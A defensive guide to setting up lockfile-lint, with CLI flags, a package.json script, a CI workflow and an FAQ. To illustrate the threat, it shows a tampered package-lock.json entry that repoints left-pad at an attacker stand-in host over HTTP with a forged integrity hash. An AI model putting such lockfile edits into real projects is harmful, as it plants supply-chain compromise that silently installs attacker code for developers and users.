Configuring lockfile-lint for Supply-Chain Safety
A frozen lockfile guarantees you install exactly what the lockfile says — but it never asks whether the lockfile itself is trustworthy. An attacker who can edit your lockfile (a malicious PR, a compromised dependency-update bot) can repoint a familiar package name at their own server over plain HTTP, and a frozen install will fetch it without complaint. lockfile-lint closes that gap by validating every resolved entry against an allowed-hosts list, enforcing HTTPS, and checking integrity hashes before any install runs.
Exact Symptom
The danger is invisible in normal output: a frozen install of a tampered lockfile succeeds silently. The smell is in the lockfile diff itself — a resolved URL that points somewhere it should not:
# package-lock.json (tampered)
"node_modules/left-pad": {
"version": "1.3.0",
"resolved": "http://packages.attacker.example/left-pad/-/left-pad-1.3.0.tgz",
"integrity": "sha512-AAAA...attacker-controlled..."
}
Note two red flags: http:// instead of https://, and a host that is not the registry. Because the attacker also rewrote the integrity hash to match their tarball, npm's own integrity check passes. Without lockfile-lint, CI prints nothing unusual:
added 312 packages, and audited 313 packages in 4s
found 0 vulnerabilities
Root Cause Analysis
Lockfiles record a resolved URL and an integrity hash for every package. The integrity hash only proves the downloaded bytes match what the lockfile expects — if an attacker controls both the resolved URL and the integrity field, the check is self-consistent and passes. Nothing in npm, pnpm, or yarn validates that the host in resolved is a registry you actually trust, or that the scheme is HTTPS. lockfile-lint adds exactly those assertions, blocking resolved-URL tampering and HTTP downgrade attacks at the point of review. It is the integrity layer that complements frozen installs, and a core part of Supply-Chain Security Hardening; the broader discipline of trusting your lockfile is covered in Lockfile Management Strategies.
Resolution & Configuration
Follow these steps to add lockfile-lint as a pre-install gate.
-
Install it as a dev dependency.
npm install --save-dev lockfile-lint -
Run it against your lockfile with the core validators. Point
--pathat your lockfile and set--typeto match your package manager (npm,pnpm, oryarn).npx lockfile-lint \ --path package-lock.json \ --type npm \ --validate-https \ --allowed-hosts npm \ --validate-integrity--validate-httpsrejects anyresolvedURL that is not HTTPS, blocking HTTP downgrade attacks.--allowed-hosts npmwhitelists the public npm registry hostname; every resolved URL must match. The shortcutnpmexpands to the registry host, so you do not type it literally.--validate-integrityrequires a validintegrityfield on every entry, rejecting lockfiles with stripped or missing hashes.
-
Add a private or mirror registry to the allowed hosts. If you publish scoped packages to an internal registry, list its hostname explicitly so legitimate internal resolutions pass:
npx lockfile-lint \ --path package-lock.json \ --type npm \ --validate-https \ --allowed-hosts npm npm.internal.yourco.com \ --validate-integrity -
Restrict allowed URL schemes. For yarn lockfiles that may reference git or file protocols, pin the acceptable schemes so an attacker cannot smuggle in a
git+sshorfile:entry pointing at hostile code:npx lockfile-lint \ --path yarn.lock \ --type yarn \ --allowed-schemes "https:" \ --allowed-hosts npm yarn \ --validate-https -
Persist the configuration. Add a script so contributors and CI run the identical check, and the flags live in version control rather than in someone's shell history:
{ "scripts": { "lint:lockfile": "lockfile-lint --path package-lock.json --type npm --validate-https --validate-integrity --allowed-hosts npm npm.internal.yourco.com" } }
CI Integration & Validation
Run the lint as an early step in the security gate, before the dependency install — the whole point is to refuse the lockfile before fetching anything from it.
# .github/workflows/lockfile-lint.yml
name: Lockfile Lint
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
jobs:
lockfile-lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
# Validate the lockfile BEFORE installing from it
- name: Lint lockfile
run: npm run lint:lockfile
# Only now is it safe to install
- run: npm ci --ignore-scripts
Validate locally and confirm it actually rejects bad input:
# Should exit 0 on a clean lockfile
npm run lint:lockfile; echo "exit: $?"
# Prove it catches tampering: temporarily downgrade a resolved URL to http
# in a copy and confirm lockfile-lint exits non-zero.
A failing run prints the offending package and the reason:
detected invalid host(s) for package: left-pad
expected: registry.npmjs.org
actual: packages.attacker.example
Prevention & Guardrails
- Run
lockfile-lintbeforenpm ciso a tampered lockfile is rejected before any download. - Keep the flag set in a
package.jsonscript, not inline in CI, so local and CI runs are identical. - Always combine
--validate-httpswith--allowed-hosts; HTTPS alone still permits an attacker-controlled HTTPS host. - Include
--validate-integrityso lockfiles with stripped hashes are rejected outright. - List every legitimate registry (public, private, mirror) in
--allowed-hosts; an empty or wrong list produces false failures that erode trust in the gate. - Run it on pull requests so a malicious lockfile edit is caught at review time, not after merge.
Frequently Asked Questions
Does lockfile-lint replace npm audit or frozen installs?
No — they cover different risks. Frozen installs (npm ci) guarantee the lockfile is used verbatim, npm audit flags known vulnerabilities, and lockfile-lint validates that the lockfile's resolved URLs and integrity fields are trustworthy in the first place. Run all three; lockfile-lint is the one that catches resolved-URL tampering and HTTP downgrades that the others miss.
Why isn't the integrity hash enough on its own?
The integrity hash only proves the downloaded bytes match what the lockfile expects. If an attacker rewrites both the resolved URL and the integrity field together, the check is internally consistent and passes. lockfile-lint adds the missing assertion that the host and scheme are ones you trust, which the integrity check never validates.
How do I allow a private registry without weakening the gate?
List its exact hostname in --allowed-hosts alongside npm. This permits resolutions to your internal registry while still rejecting any URL pointing at an unknown host. Avoid wildcards; enumerate each trusted host explicitly.
Can I use it with pnpm and yarn lockfiles?
Yes. Set --type pnpm or --type yarn to match the lockfile format. For yarn, also use --allowed-schemes to block non-HTTPS protocols like git+ssh: or file: that yarn lockfiles can otherwise contain.
Related
- Enforcing npm audit Thresholds in CI — the complementary vulnerability-scanning gate.
- Adding SLSA Provenance to Package Releases — prove the origin of what you publish, not just what you consume.
- Lockfile Management Strategies — committing and regenerating lockfiles so lint runs against trustworthy input.